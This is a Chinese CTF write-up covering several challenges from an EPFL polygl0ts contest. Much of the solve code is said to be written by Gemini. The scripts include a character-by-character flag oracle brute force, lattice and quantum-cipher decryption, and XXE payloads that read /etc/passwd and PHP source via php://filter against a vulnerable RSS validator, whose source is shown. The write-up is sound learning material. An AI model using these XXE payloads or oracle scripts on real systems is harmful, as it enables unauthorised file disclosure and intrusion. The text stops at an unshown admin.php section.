(用Gemini)做出6道简单题,排名223rd.
冷知识:下面五道题的exp全是gemini写的。
[Crypto] Guess Flag 侧信道,但是太明显了以至于不需要时间分析。
Vulnerable code:
1 2 3 4 5 for char in user_input: if char != flag[index]: print ("Wrong flag!" ) exit() index += 1
Exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *def leak_flag (): charset = "0123456789" flag = "" while True : found = False for char in charset: try : conn = remote('chall.polygl0ts.ch' , 6001 ) payload = flag + char conn.sendline(payload.encode()) response = conn.recvall(timeout=2 ).decode() if "Correct" in response: flag += char print (f"Found next character: {char} " ) print (f"Current flag: {flag} " ) found = True break except Exception as e: print (f"Error: {e} " ) continue finally : conn.close() if not found: print ("No more characters found. Flag might be complete." ) break return flagif __name__ == "__main__" : final_flag = leak_flag() print (f"Final flag: {final_flag} " )
[Misc] zipbomb
Have you thought about maybe downloading more RAM? I’ve heard it helps you get to the bottom of things.
嵌套zip文件,直接嵌套解压即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import zipfileimport osdef extract_nested_zip (zip_path, extract_to=None ): """ 简化版的嵌套zip解压函数 """ if extract_to is None : extract_to = os.path.dirname(zip_path) print (f"解压: {zip_path} " ) try : with zipfile.ZipFile(zip_path, 'r' ) as zip_ref: zip_ref.extractall(extract_to) os.remove(zip_path) for root, dirs, files in os.walk("./" ): for file in files: if file.endswith('.zip' ): nested_zip_path = os.path.join(root, file) extract_nested_zip(nested_zip_path) except Exception as e: print (f"解压失败: {str (e)} " )if __name__ == "__main__" : zip_file = input ("请输入zip文件路径: " ) if os.path.exists(zip_file): extract_nested_zip(zip_file) print ("解压完成!" ) else : print ("文件不存在" )
[Misc] Wordler Wordle,但是是由多个词拼成的,但是给了一个word_list.txt,可以直接暴力。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 import collectionsimport randomimport reclass MultiWordleSolver : def __init__ (self, pattern_str, word_list_path='word_list.txt' ): """ 初始化 Solver :param pattern_str: 类似 "■■■■■_■■■■■" 的字符串 :param word_list_path: 单词表路径 """ self .slice_lengths = [len (s) for s in pattern_str.split('_' )] self .num_slices = len (self .slice_lengths) self .all_words = self ._load_words(word_list_path) self .candidates = [] for length in self .slice_lengths: if length in self .all_words: self .candidates.append(self .all_words[length][:]) else : raise ValueError(f"Word list does not contain words of length {length} " ) self .must_contain_global = set () self .confirmed_grid = [["■" ] * l for l in self .slice_lengths] def _load_words (self, path ): """加载单词并按长度分组""" words_by_len = collections.defaultdict(list ) try : with open (path, 'r' , encoding='utf-8' ) as f: for line in f: word = line.strip().upper() if word.isalpha(): words_by_len[len (word)].append(word) except FileNotFoundError: print (f"Error: {path} not found. Please ensure the file exists." ) exit(1 ) return words_by_len def get_guess (self ): """ 生成猜测。 策略:从每个 slice 的候选词中选择一个最能排除干扰的词。 (这里使用简单的随机+频率策略,避免计算全量熵以保证速度) """ guess_parts = [] for i in range (self .num_slices): candidates = self .candidates[i] if not candidates: print (f"Error: No candidates left for slice {i+1 } !" ) return None if len (candidates) > 1000 : guess_parts.append(random.choice(candidates)) else : guess_parts.append(random.choice(candidates)) return "_" .join(guess_parts) def process_feedback (self, guess_str, feedback_str ): """ 根据反馈更新候选列表 :param guess_str: 猜测的字符串 (如 "APPLE_PEAR") :param feedback_str: 反馈字符串 (如 "gbbby_bbgg") """ raw_guess = [c for c in guess_parts(guess_str)] raw_feedback = [c for c in guess_parts(feedback_str)] flat_info = [] g_parts = guess_str.split('_' ) f_parts = feedback_str.split('_' ) if len (g_parts) != len (f_parts): print ("Error: Feedback length does not match guess length." ) return global_char_stats = collections.defaultdict(lambda : {'g' : 0 , 'y' : 0 , 'b' : 0 }) for s_idx, (word, feed) in enumerate (zip (g_parts, f_parts)): if len (word) != len (feed): print (f"Error: Length mismatch in slice {s_idx+1 } ." ) return for c_idx, (char, color) in enumerate (zip (word, feed)): flat_info.append({ 'char' : char, 'color' : color, 's_idx' : s_idx, 'c_idx' : c_idx }) global_char_stats[char][color] += 1 if color == 'g' : self .confirmed_grid[s_idx][c_idx] = char absent_chars = set () for char, stats in global_char_stats.items(): if stats['b' ] > 0 and stats['g' ] == 0 and stats['y' ] == 0 : absent_chars.add(char) for s_idx in range (self .num_slices): current_candidates = self .candidates[s_idx] new_candidates = [] slice_feedback = list (zip (g_parts[s_idx], f_parts[s_idx])) for word in current_candidates: is_valid = True if not absent_chars.isdisjoint(set (word)): continue for i, (g_char, color) in enumerate (slice_feedback): w_char = word[i] if color == 'g' : if w_char != g_char: is_valid = False break elif color == 'y' : if w_char == g_char: is_valid = False break elif color == 'b' : if w_char == g_char: is_valid = False break if is_valid: new_candidates.append(word) self .candidates[s_idx] = new_candidates print (f"Slice {s_idx+1 } : {len (new_candidates)} candidates remaining." ) def is_solved (self ): return False def guess_parts (s ): """Helper to split by underscore""" return s.split('_' )def main (): print ("=== Multi-Wordle Solver ===" ) print ("请确保 word_list.txt 在当前目录下。" ) pattern = input ("请输入 Pattern (例如 ■■■■■_■■■■■): " ).strip() if not pattern: pattern = "■■■■■_■■■■■" try : solver = MultiWordleSolver(pattern) except Exception as e: print (e) return while True : guess = solver.get_guess() if not guess: print ("Solver failed: No words left. Check your input or word list." ) break print (f"\nSolver Guess: {guess} " ) feedback = input ("请输入 Feedback (g=green, y=yellow, b=black, _=sep): " ).strip().lower() if all (c in ['g' , '_' ] for c in feedback): print (f"Success! The word is {guess} " ) break solver.process_feedback(guess, feedback)from pwn import *import redef decode_feedback (feedback_str ): """ 将服务器返回的反馈转换为 g/y/b 格式字符串,依据为ansi颜色码,保留_字符 假设服务器返回格式为b'\x1b[93mS\x1b[0m\x1b[92mI\x1b[0m\x1b[93mN\x1b[0m\x1b[93mG\x1b[0m\x1b[90mL\x1b[0m\x1b[93mE\x1b[0m_\x1b[93mE\x1b[0m\x1b[93mN\x1b[0m\x1b[93mT\x1b[0m\x1b[93mR\x1b[0m\x1b[93mA\x1b[0m\x1b[90mN\x1b[0m\x1b[93mC\x1b[0m\x1b[90mE\x1b[0m_\x1b[93mR\x1b[0m\x1b[93mI\x1b[0m\x1b[92mC\x1b[0m\x1b[93mH\x1b[0m\x1b[90mA\x1b[0m\x1b[92mR\x1b[0m\x1b[93mD\x1b[0m\x1b[90mS\x1b[0m\x1b[93mO\x1b[0m\x1b[90mN\x1b[0m\n' """ feedback = "" parts = feedback_str.decode().split('_' ) for part in parts: matches = re.findall(r'\x1b\[(\d+)m.(?:\x1b\[0m)' , part) for code in matches: code = int (code) if code == 92 : feedback += 'g' elif code == 93 : feedback += 'y' elif code == 90 : feedback += 'b' feedback += '_' return feedback.rstrip('_' ) def interact (): print ("=== Multi-Wordle Solver ===" ) print ("请确保 word_list.txt 在当前目录下。" ) sh = remote('chall.polygl0ts.ch' , 6052 ) print ("请输入 Pattern (例如 ■■■■■_■■■■■): " ) data = sh.recvuntil(b'------------------------------' ).decode() print (data) pattern = re.search('Structure: (.+?)\n' , data).group(1 ) print (f'Pattern detected: {pattern} ' ) if not pattern: pattern = "■■■■■_■■■■■" try : solver = MultiWordleSolver(pattern) except Exception as e: print (e) return while True : guess = solver.get_guess() if not guess: print ("Solver failed: No words left. Check your input or word list." ) break print (f"\nSolver Guess: {guess} " ) sh.sendlineafter(b'Your guess: ' , guess.encode()) resp = sh.recvline() print (resp.decode()) feedback = decode_feedback(resp) print (f"Decoded Feedback: {feedback} " ) if all (c in ['g' , '_' ] for c in feedback): print (f"Success! The word is {guess} " ) sh.interactive() return solver.process_feedback(guess, feedback)if __name__ == "__main__" : interact()
[Crypto] The Phantom Menace 没看懂,gemini秒了
chall:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 import numpy as npimport jsontry : from flag import flagexcept : flag = "redacted_this_is_just_so_that_it_works_and_you_can_test_locally." m_b = np.array([int (c) for char in flag for c in format (ord (char), '08b' )]) q = 3329 n = 512 k = 4 f = np.array([1 ] + [0 ]*(n-1 ) + [1 ])assert len (m_b)==ndef _small_noise (n, weight=2 ): coeffs = np.zeros(n, dtype=int ) idx = np.random.choice(n, size=weight, replace=False ) signs = np.random.choice([-1 , 1 ], size=weight) coeffs[idx] = signs return coeffsdef _vec_poly_mul (v0, v1 ): def _poly_mul (a, b ): res = np.convolve(a, b) for i in range (n, len (res)): res[i - n] = (res[i - n] - res[i]) % q return res[:n] % q return sum ((_poly_mul(a, b) for a, b in zip (v0, v1))) % qdef encrypt (A, t, m_b, r, e_1, e_2 ): A_T = list (map (list , zip (*A))) u = np.array([(mat + err) % q for mat, err in zip ([_vec_poly_mul(row, r) for row in A_T], e_1) ]) tr = _vec_poly_mul(t, r) m = (m_b * ((q + 1 )//2 )) % q v = (tr + e_2 + m) % q return u, v A = np.array([np.array([np.random.randint(0 , q, n) for _ in range (k)]) for _ in range (k)]) s = np.array([_small_noise(n, n*2 //3 ) for _ in range (k)]) e = np.array([_small_noise(n) for _ in range (k)]) t = np.array([(_vec_poly_mul(row, s) + err) % q for row, err in zip (A, e)]) r = [_small_noise(n) for _ in range (k)] e_1 = [_small_noise(n) for _ in range (k)] e_2 = _small_noise(n) u, v = encrypt(A, t, m_b, r, e_1, e_2) keys = { "s" :s.tolist(), "u" :u.tolist(), "v" :v.tolist() }with open ("keys.json" , "w" ) as f: f.write(json.dumps(keys))
这是一个基于格密码(Lattice-based Cryptography)的加密题目,类似于 Kyber 或者 LWE(Learning With Errors)加密体系。
你需要利用私钥 $s$ 对密文 $(u, v)$ 进行解密。
解密原理
加密过程大致如下:
公钥:$t = As + e$
密文第一部分:$u = A^T r + e_1$
密文第二部分:$v = t^T r + e_2 + m_{scale}$ 其中 $m_{scale} = m_b \cdot \lceil q/2 \rfloor$。
要恢复消息 $m_{scale}$,我们需要计算: $$ v - s^T u $$
推导如下: $$ \begin{aligned} v - s^T u &= (t^T r + e_2 + m_{scale}) - s^T (A^T r + e_1) \ &= ((As+e)^T r + e_2 + m_{scale}) - (s^T A^T r + s^T e_1) \ &= (s^T A^T r + e^T r + e_2 + m_{scale}) - s^T A^T r - s^T e_1 \ &= m_{scale} + (e^T r + e_2 - s^T e_1) \end{aligned} $$
由于 $e, r, e_1, e_2, s$ 的系数都很小,括号内的误差项 $(e^T r + e_2 - s^T e_1)$ 远小于 $q/2$。 因此,计算结果会接近 $0$(如果比特是0)或者接近 $q/2$(如果比特是1)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 import numpy as npimport json q = 3329 n = 512 k = 4 def poly_mul (a, b ): """多项式乘法,模 x^n + 1""" res = np.convolve(a, b) for i in range (n, len (res)): res[i - n] = (res[i - n] - res[i]) % q return res[:n] % qdef vec_poly_mul (v0, v1 ): """多项式向量的点积""" poly_sum = np.zeros(n, dtype=int ) for a, b in zip (v0, v1): poly_sum = (poly_sum + poly_mul(a, b)) % q return poly_sumdef decrypt_and_solve (): print ("[*] Loading keys from keys.json..." ) try : with open ("keys.json" , "r" ) as f: keys = json.load(f) except FileNotFoundError: print ("[!] Error: keys.json not found." ) return s = np.array(keys["s" ]) u = np.array(keys["u" ]) v = np.array(keys["v" ]) print ("[*] Performing decryption arithmetic: v - s^T * u" ) s_dot_u = vec_poly_mul(s, u) m_noisy = (v - s_dot_u) % q center = (q + 1 ) // 2 recovered_bits = [] for val in m_noisy: dist_to_center = abs (val - center) dist_to_zero = min (val, q - val) if dist_to_center < dist_to_zero: recovered_bits.append(1 ) else : recovered_bits.append(0 ) print ("[*] Decoding bits to string..." ) flag_chars = [] for i in range (0 , len (recovered_bits), 8 ): byte_bits = recovered_bits[i:i+8 ] if len (byte_bits) < 8 : break byte_str = "" .join(map (str , byte_bits)) byte_val = int (byte_str, 2 ) flag_chars.append(chr (byte_val)) flag = "" .join(flag_chars) print (f"\n[+] Recovered Flag: {flag} " )if __name__ == "__main__" : decrypt_and_solve()
[Crypto] Quantum vernam 同样没看懂,似乎是量子加密有关的
chall:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 import osimport numpy as npfrom math import sqrtfrom scipy.stats import unitary_groupdef string_to_bits (s ): bits = [] for byte in s: for i in range (8 ): bits.append((byte >> (7 - i)) & 1 ) return bitsdef bit_to_qubit (bit ): if bit == 0 : return np.array([1 ,0 ]) else : return np.array([0 , 1 ]) def encryption (key, message,gate1,gate2,x ): key_bits = string_to_bits(key) message_bits = string_to_bits(message) cipher = [] encryption_matrix = np.array([]) PauliX = np.array([(0 ,1 ), (1 ,0 )]) PauliZ = np.array([(1 ,0 ), (0 ,-1 )]) for k, m in zip (key_bits, message_bits): qubit = bit_to_qubit(m) qubit = gate1 @ qubit if k == 1 : qubit = x @ qubit qubit = gate2 @ qubit cipher.append(qubit) return cipherdef measurement (cipher ): measured_bits = [] for qubit in cipher: prob_0 = qubit[0 ]*qubit[0 ].conjugate() if np.random.rand() < prob_0: measured_bits.append(0 ) else : measured_bits.append(1 ) return measured_bitsdef bits_to_string (bits ): bytes_list = [] for i in range (0 , len (bits), 8 ): byte = 0 for j in range (8 ): byte = (byte << 1 ) | bits[i + j] bytes_list.append(byte) return bytes (bytes_list) FLAG = b"EPFL{FAKEFLAAAAAAAG}}" n = len (FLAG) key = os.urandom(n) x = unitary_group.rvs(2 )print ("Welcome to the Quantum Vernam Cipher Encryption! Key and flag have same length, try to break perfect secrecy if you can." )print ("\n" )print ('The qubits will be encrypted with the matrix x = ' ,x)print ("\n" )print ("You can apply any gate you want to the qubits before and after measurement as a 2X2 matrix, choose your favorite one :)" )print ("\n" )print ("Also pls remember that in python, j is the imaginary unit, not i." )print ('\n' )print ('Enter coefficients for the first matrix that will be applied BEFORE encryption:' )print ('Enter first matrix element:' ) a1 = complex (input ())print ('Enter second matrix element:' ) b1 = complex (input ())print ('Enter third matrix element:' ) c1 = complex (input ())print ('Enter fourth matrix element:' ) d1 = complex (input ()) gate1 = np.array([(a1,b1),(c1,d1)])print ('\n' )print ('Enter coefficients for the second matrix that will be applied AFTER encryption:' )print ('Enter first matrix element:' ) a2 = complex (input ())print ('Enter second matrix element:' ) b2 = complex (input ())print ('Enter third matrix element:' ) c2 = complex (input ())print ('Enter fourth matrix element:' ) d2 = complex (input ()) gate2 = np.array([(a2,b2),(c2,d2)])def is_unitary (matrix ): identity = np.eye(matrix.shape[0 ]) return np.allclose(matrix.conj().T @ matrix, identity) assert is_unitary(gate1), "Gate 1 is not unitary!" assert is_unitary(gate2), "Gate 2 is not unitary!" cipher = encryption(key, FLAG,gate1,gate2,x) measurement_result = measurement(cipher)print ("measurement:" , measurement_result)print (bits_to_string(measurement_result))
这个加密系统的核心步骤是: $$|\psi_{out}\rangle = U_2 \cdot (X^k) \cdot U_1 \cdot |m\rangle$$
其中 $m$ 是明文位,$k$ 是密钥位($0$或$1$),$X$ 是服务器生成的随机幺正矩阵。
我们的目标是消除密钥 $k$ 的影响。我们可以利用线性代数中的本征向量 性质: 如果一个向量 $|\lambda\rangle$ 是矩阵 $X$ 的本征向量,那么 $X |\lambda\rangle = \lambda |\lambda\rangle$。因为 $X$ 是幺正矩阵,本征值 $\lambda$ 的模长为1(即只改变相位,不改变概率幅的大小)。
攻击策略如下:
**对角化 $X$**:计算 $X$ 的本征分解 $X = V D V^{\dagger}$。其中 $V$ 是由本征向量组成的矩阵,$D$ 是对角矩阵。
**设置 Gate 1 ($U_1 = V$)**:我们将计算基(Computational Basis $|0\rangle, |1\rangle$)旋转到 $X$ 的本征基。
如果你输入 $|0\rangle$,经过 $U_1$ 后变成了 $X$ 的第一个本征向量 $|\lambda_0\rangle$。
如果你输入 $|1\rangle$,经过 $U_1$ 后变成了 $X$ 的第二个本征向量 $|\lambda_1\rangle$。
加密阶段 :
如果密钥 $k=0$,矩阵是单位矩阵 $I$,状态不变。
如果密钥 $k=1$,矩阵是 $X$。由于状态是本征向量,应用 $X$ 仅仅是乘以一个相位因子 $\lambda$。
关键点 :无论 $k$ 是多少,状态依然保持在同一个本征向量的方向上(只是多了个相位 $e^{i\theta}$)。
**设置 Gate 2 ($U_2 = V^{\dagger}$)**:我们将本征基旋转回计算基。
这会抵消 $U_1$ 的旋转。相位因子在测量概率 $|\langle \psi | \psi \rangle|^2$ 中会被消掉。
这样,明文 $m$ 将以 $100%$ 的概率被还原,密钥 $k$ 完全失效。
Exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 from pwn import *import numpy as npimport reimport mathdef parse_matrix_from_output (output_str ): """ 修复后的解析函数:只提取 [[ ... ]] 之间的内容,避免读取到后续的提示文本。 """ try : start_index = output_str.find('[[' ) end_index = output_str.find(']]' ) + 2 if start_index == -1 or end_index == 1 : log.error("Could not find matrix brackets [[ ]] in output." ) return None matrix_str = output_str[start_index:end_index] log.info(f"Isolated matrix string: {matrix_str} " ) clean_str = matrix_str.replace('[' , ' ' ).replace(']' , ' ' ).replace('\n' , ' ' ) pattern = r"[-+]?[0-9]*\.?[0-9]+(?:[eE][-+]?[0-9]+)?(?:\s*[-+]\s*[0-9]*\.?[0-9]+(?:[eE][-+]?[0-9]+)?j)?j?" tokens = clean_str.split() matrix_elements = [] for token in tokens: if not token.strip(): continue try : val_str = token.replace('(' , '' ).replace(')' , '' ) val = complex (val_str) matrix_elements.append(val) except ValueError: continue if len (matrix_elements) >= 4 : if len (matrix_elements) > 4 : log.warning(f"Found {len (matrix_elements)} elements, truncating to first 4." ) return np.array(matrix_elements[:4 ]).reshape(2 , 2 ) else : log.error(f"Failed to parse matrix, only found {len (matrix_elements)} elements: {matrix_elements} " ) return None except Exception as e: log.error(f"Parsing exception: {e} " ) return None def solve (): r = remote('chall.polygl0ts.ch' , 6002 ) r.recvuntil(b'matrix x = ' ) matrix_data = r.recvuntil(b'Enter coefficients' , drop=True ).decode() log.info("Received raw matrix data..." ) X = parse_matrix_from_output(matrix_data) log.success(f"Parsed Matrix X:\n{X} " ) w, v = np.linalg.eig(X) gate1 = v gate2 = v.conj().T assert np.allclose(gate1 @ gate2, np.eye(2 )), "Gates are not inverse!" assert np.allclose(gate1.conj().T @ gate1, np.eye(2 )), "Gate 1 not unitary" def send_matrix (matrix ): flat = matrix.flatten() for val in flat: to_send = str (val).replace('(' , '' ).replace(')' , '' ) r.sendline(to_send.encode()) r.recvuntil(b':' ) log.info("Sending Gate 1 (Eigenvectors)..." ) to_send = str (gate1[0 ,0 ]).replace('(' , '' ).replace(')' , '' ) r.sendline(to_send.encode()) for val in gate1.flatten()[1 :]: r.recvuntil(b':' ) to_send = str (val).replace('(' , '' ).replace(')' , '' ) r.sendline(to_send.encode()) log.info("Sending Gate 2 (Inverse Eigenvectors)..." ) r.recvuntil(b':' ) send_matrix(gate2) r.recvuntil(b'measurement: ' ) r.recvline() flag = r.recvline().strip().decode() log.success(f"FLAG RECOVERED: {flag} " ) r.close()if __name__ == "__main__" : solve()
[Rev] dilemma 这倒是自己写的,没用gemini,但是这题也没啥rev的事啊
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from pwn import * global_box_map = [0 for _ in range (105 )] sh = remote('chall.polygl0ts.ch' , 6667 )import redef list_unknown_boxes (): unknown_boxes = [] for i in range (1 ,101 ): if global_box_map[i] == 0 : unknown_boxes.append(i) return unknown_boxesdef generate_guess (player_num ): box_num = -1 for i in range (len (global_box_map)): if global_box_map[i] == player_num: box_num = i break print (f"Generating guess for player {player_num} , box_num={box_num} " ) unknown_boxes = list_unknown_boxes() if box_num == -1 : payload= f""" idk = [{',' .join(map (str , unknown_boxes))} ] for box in idk: print(box) EOF """ else : payload= f""" idk = [{',' .join(map (str , unknown_boxes[0 :min (45 , len (unknown_boxes))]))} ] for box_num in idk: print(box_num) print({box_num} ) EOF """ print (f"Generated payload:\n{payload} " ) return payloaddef line (linedata ): print (linedata, end='' ) m = re.match (r"The box (\d+) contains number (\d+)" , linedata) if m: box_num = int (m.group(1 )) number = int (m.group(2 )) global_box_map[box_num] = number m = re.match (r"Provide Python script for player (\d+) \(end with string 'EOF' on its own line\):" , linedata) if m: player_num = int (m.group(1 )) script=generate_guess(player_num) sh.sendline(script)while True : linedata = sh.recvline().decode() line(linedata)
[Web] Le Canard du Lac 赛后做出来的。
核心在 https://chall.polygl0ts.ch:8085/rss.php 有一个RSS Feed Validator,可以输入XML让它解析。
当时尝试了一些XXE没注出来(因为我是煞笔,首先最基本的RSS XML结构没遵循)
赛后做的,就当是学习一下XXE了。
首先是一个正常的RSS feed XML:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?xml version="1.0" encoding="UTF-8" ?> <rss version ="2.0" > <channel > <title > W3Schools Home Page</title > <link > https://www.w3schools.com</link > <description > Free web building tutorials</description > <item > <title > RSS Tutorial</title > <link > https://www.w3schools.com/xml/xml_rss.asp</link > <description > New RSS tutorial on W3Schools</description > </item > <item > <title > XML Tutorial</title > <link > https://www.w3schools.com/xml</link > <description > New XML tutorial on W3Schools</description > </item > </channel > </rss >
返回:
Your feed looks great. Here is what we parsed:
title: W3Schools Home Page
description: Free web building tutorials
文件读取:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE rss [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <rss version ="2.0" > <channel > <title > &xxe; </title > <link > https://www.w3schools.com</link > <description > Free web building tutorials</description > </channel > </rss >
返回:
Your feed looks great. Here is what we parsed:
title: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
description: Free web building tutorials
那这其实就是有回显的 XXE 注入了。
没那么任意,因为XXE读的文件里包含的<>&等XML特殊字符需要额外处理一下。
可以用php://filter/read=convert.base64-encode/resource=conf.php来文件并Base64编码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE rss [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=rss.php" > ]> <rss version ="2.0" > <channel > <title > &xxe; </title > <link > https://www.w3schools.com</link > <description > Free web building tutorials</description > </channel > </rss >
主要是不知道flag在哪里,用这种方法可以把所有php源文件读一遍
rss.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 <?php libxml_disable_entity_loader (false );$feed_output = "" ;if ($_SERVER ["REQUEST_METHOD" ] == "POST" ) { $xml_content = $_POST ['rss_content' ]; $dom = new DOMDocument (); if (@$dom ->loadXML ($xml_content , LIBXML_NOENT | LIBXML_DTDLOAD)) { $title_node = $dom ->getElementsByTagName ('title' )->item (0 ); $desc_node = $dom ->getElementsByTagName ('description' )->item (0 ); $feed_title = $title_node ? $title_node ->nodeValue : "No Title" ; $feed_desc = $desc_node ? $desc_node ->nodeValue : "No Description" ; $feed_output = "<div class='alert alert-success mt-3'> <h4 class='alert-heading'>Feed Validated!</h4> <p>Your feed looks great. Here is what we parsed:</p> <hr> <p><strong>title:</strong> " . htmlspecialchars ($feed_title ) . "</p> <p><strong>description:</strong> " . htmlspecialchars ($feed_desc ) . "</p> </div>" ; } else { $feed_output = "<div class='alert alert-danger mt-3'>Invalid XML content. Please check your syntax.</div>" ; } }?> <!DOCTYPE html> <html lang="en" > <head> <meta charset="UTF-8" > <title>Le Canard du Lac | RSS Validator</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet" > <link href="https://fonts.googleapis.com/css2?family=Press+Start+2P&family=Roboto+Mono:wght@400;700&display=swap" rel="stylesheet" > <link href="static/lake-theme.css" rel="stylesheet" > <link href="static/custom.css" rel="stylesheet" > </head> <body> <?php include ("include/navigation-bar.php" ); ?> <header class ="py -5 bg -light border -bottom mb -4"> <div class ="container "> <div class ="text -center my -5"> <h1 class ="fw -bolder ">Partner RSS Validator </h1 > <p class ="lead mb -0">Submit your RSS feed to join our syndicate !</p > </div > </div > </header > <div class ="container "> <div class ="row justify -content -center "> <div class ="col -md -8"> <div class ="card my -4"> <div class ="card -body "> <p >We are looking for local news partners . Validate your RSS feed here to see if it meets our technical standards .</p > <form action ="<?php echo htmlspecialchars ($_SERVER ["PHP_SELF "]); ?>" method ="post "> <div class ="form -group mb -3"> <label for ="rss_content " class ="form -label ">RSS XML Content </label > <textarea name ="rss_content " id ="rss_content " class ="form -control " rows ="10" placeholder ="< ;?xml version ='1.0' encoding ='UTF -8'?> ;..."></textarea > </div > <div class ="form -group "> <input type ="submit " class ="btn btn -primary " value ="Validate Feed "> </div > </form > <?php echo $feed_output ; ?> </div > </div > </div > </div > </div > <script src ="https ://cdn .jsdelivr .net /npm /bootstrap @5.3.0/dist /js /bootstrap .bundle .min .js "></script > </body > </html >
admin.php
